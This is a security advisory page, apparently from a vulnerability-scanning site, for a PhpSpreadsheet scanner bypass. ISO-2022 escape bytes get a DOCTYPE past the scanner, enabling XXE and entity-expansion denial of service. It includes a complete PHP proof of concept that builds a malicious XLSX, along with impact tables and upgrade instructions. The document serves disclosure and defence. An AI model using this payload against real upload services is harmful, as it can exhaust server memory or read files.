CVE-2026-108358 — Vulnerability in phpoffice/phpspreadsheet
PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.68%). Schedule for your next planned update.
Does your project use an affected phpoffice/phpspreadsheet version?
Paste your composer.lock to check it for CVE-2026-108358 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
PhpSpreadsheet's XmlScanner::scan() uses a regex pattern that only accounts for NULL byte (0x00) interleaving when detecting <!DOCTYPE. ISO-2022 escape sequences (0x1B bytes) inserted between the characters of the pattern break the regex match entirely, allowing DOCTYPE declarations with entity definitions to pass through undetected. This enables Denial of Service via quadratic entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used. Any application using PhpSpreadsheet to process user-uploaded XLSX files is affected.
Details
The vulnerability exists in src/PhpSpreadsheet/Reader/Security/XmlScanner.php, method scan(), lines 87–100.
The scanner builds a regex pattern /\0*<\0*!\0*D\0*O\0*C\0*T\0*Y\0*P\0*E\0*/ that only handles NULL byte interleaving. ISO-2022 escape sequences (e.g., 0x1B 0x28 0x42 for ISO-2022-JP) inserted between each character of <!DOCTYPE break the regex because it only expects optional \0 between characters.
The XLSX reader extracts XML parts from the ZIP archive and passes each through XmlScanner::scan() before simplexml_load_string(). The XML parser strips the ESC bytes during charset normalization, producing a valid <!DOCTYPE declaration that the scanner never detected.
Seven ISO-2022 encoding variants bypass the scanner:
- ISO-2022-JP (
ESC ( B) - ISO-2022-JP-2 (
ESC $ B) - ISO-2022-KR (
ESC $ ) C) - ISO-2022-CN (
ESC $ ) A) - ISO-2022-CN-EXT (
ESC $ ) G) - ISO-2022-JP-2004 (
ESC $ ( Q) - ISO-2022-JP-MS (
ESC & @ ESC $ B)
Internal entity expansion (quadratic blowup) is not blocked by libxml2 2.9+ defaults, making this directly exploitable for DoS on all modern PHP versions.
PoC
Save the following as poc_iso2022.php in a directory with PhpSpreadsheet installed via Composer:
<?php
require 'vendor/autoload.php';
// ESC ( B = ISO-2022-JP escape sequence (switch to ASCII)
$esc = "\x1b\x28\x42";
// Build <!DOCTYPE with ESC bytes between each character
$doctype = "<".$esc."!".$esc."D".$esc."O".$esc."C".$esc."T".$esc."Y".$esc."P".$esc."E";
// Internal entity for DoS (works on ALL PHP versions)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);
$shared_strings = '<?xml version="1.0" encoding="UTF-8"?>' . "\n"
. $doctype . ' sst [' . "\n"
. ' <!ENTITY big "' . $entity_value . '">' . "\n"
. ']>' . "\n"
. '<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">'
. '<si><t>' . $refs . '</t></si></sst>';
// Build minimal XLSX
$xlsx = new ZipArchive();
$xlsx->open('poc.xlsx', ZipArchive::CREATE | ZipArchive::OVERWRITE);
$xlsx->addFromString('[Content_Types].xml',
'<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'
.'<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>'
.'<Default Extension="xml" ContentType="application/xml"/>'
.'<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>'
.'<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>'
.'<Override PartName="/xl/sharedStrings.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml"/>'
.'</Types>');
$xlsx->addFromString('_rels/.rels',
'<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
.'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>'
.'</Relationships>');
$xlsx->addFromString('xl/workbook.xml',
'<?xml version="1.0"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">'
.'<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>');
$xlsx->addFromString('xl/_rels/workbook.xml.rels',
'<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
.'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>'
.'<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings" Target="sharedStrings.xml"/>'
.'</Relationships>');
$xlsx->addFromString('xl/worksheets/sheet1.xml',
'<?xml version="1.0"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">'
.'<sheetData><row r="1"><c r="A1" t="s"><v>0</v></c></row></sheetData></worksheet>');
$xlsx->addFromString('xl/sharedStrings.xml', $shared_strings);
$xlsx->close();
echo "XLSX size: " . filesize('poc.xlsx') . " bytes\n";
// Load with PhpSpreadsheet
$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xlsx();
$reader->setReadDataOnly(true);
$spreadsheet = $reader->load('poc.xlsx');
$peak = memory_get_peak_usage(true);
echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";
$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";
Run: php -d memory_limit=512M poc_iso2022.php
Expected result: The scanner does not detect the DOCTYPE. The XLSX loads successfully. Internal entities expand, consuming ~45 MB of memory from a ~2 KB file.
Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.
Impact
| Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ |
|---|---|---|
| Denial of Service (quadratic blowup) | Exploitable | Exploitable |
| Local file read via SYSTEM entity | Exploitable | Blocked by default |
| SSRF via SYSTEM entity | Exploitable | Blocked by default |
| File read when LIBXML_NOENT is used | Exploitable | Exploitable |
Any application that accepts user-uploaded XLSX files and processes them with PhpSpreadsheet is vulnerable. The DoS impact is the most severe because it requires no special PHP configuration and works on all supported PHP versions. A 2 KB XLSX causes 45 MB peak memory usage (22,000:1 amplification ratio). Multiple concurrent uploads can exhaust server memory.
Advisory Timeline
- First published October 27, 2026 (30 days ago).
- Last revised October 27, 2026 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
composer require "phpoffice/phpspreadsheet:^1.30.7"
composer require "phpoffice/phpspreadsheet:^2.1.19"
composer require "phpoffice/phpspreadsheet:^3.10.8"
composer require "phpoffice/phpspreadsheet:^2.4.8"
composer require "phpoffice/phpspreadsheet:^5.10.0"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (5)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| phpoffice/phpspreadsheet Packagist · Affected: 1.0.0, 1.0.0-beta, 1.0.0-beta2, 1.1.0 (+60 more) | 1.30.7 |
| phpoffice/phpspreadsheet Packagist · Affected: 2.0.0, 2.1.0, 2.1.1, 2.1.10 (+15 more) | 2.1.19 |
| phpoffice/phpspreadsheet Packagist · Affected: 3.10.0, 3.10.1, 3.10.2, 3.10.3 (+14 more) | 3.10.8 |
| phpoffice/phpspreadsheet Packagist · Affected: 2.2.0, 2.2.1, 2.2.2, 2.3.0 (+17 more) | 2.4.8 |
| phpoffice/phpspreadsheet Packagist · Affected: 4.0.0, 4.1.0, 4.2.0, 4.3.0 (+14 more) | 5.10.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-611XML External Entity (XXE)MITRE
- CWE-776
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.3 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N
References
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-3x94-m842-937cWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-108358ADVISORY
- https://github.com/PHPOffice/PhpSpreadsheet/commit/299993894dce37aa3b64aa23e9a3f4bb77ab0e66WEB
- https://github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781WEB
- https://github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738WEB
- https://github.com/PHPOffice/PhpSpreadsheet/commit/9a0b48622ebfe93fa48cb9bc09ce57303bb07af9WEB
- https://github.com/PHPOffice/PhpSpreadsheet/commit/da13f40e8760d599b0e8a296017d4b028b20e86cWEB
- https://github.com/PHPOffice/PhpSpreadsheetPACKAGE
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.7WEB
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.19WEB
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.8WEB
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8WEB
- https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0WEB
Frequently Asked Questions
- What is CVE-2026-108358?
- PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 9.3/10).
- How do I check if my project is affected by CVE-2026-108358?
- CVE-2026-108358 affects phpoffice/phpspreadsheet. It has a 0.7% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-108358 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 47.5% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-45034CRITICAL
PHPSpreadsheet has a patch bypass for CVE-2026-34084
- CVE-2026-34084CRITICAL
PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled
- CVE-2026-59932HIGH
PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion
- CVE-2026-59931HIGH
PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist
- CVE-2026-40902HIGH
PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions
- CVE-2026-40863HIGH
PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader
- CVE-2024-45048HIGH
XXE in PHPSpreadsheet encoding is returned
- CVE-2026-108359HIGH
PhpSpreadsheet ODS Reader: Unbounded number-rows-repeated → CPU & Memory Exhaustion (DoS)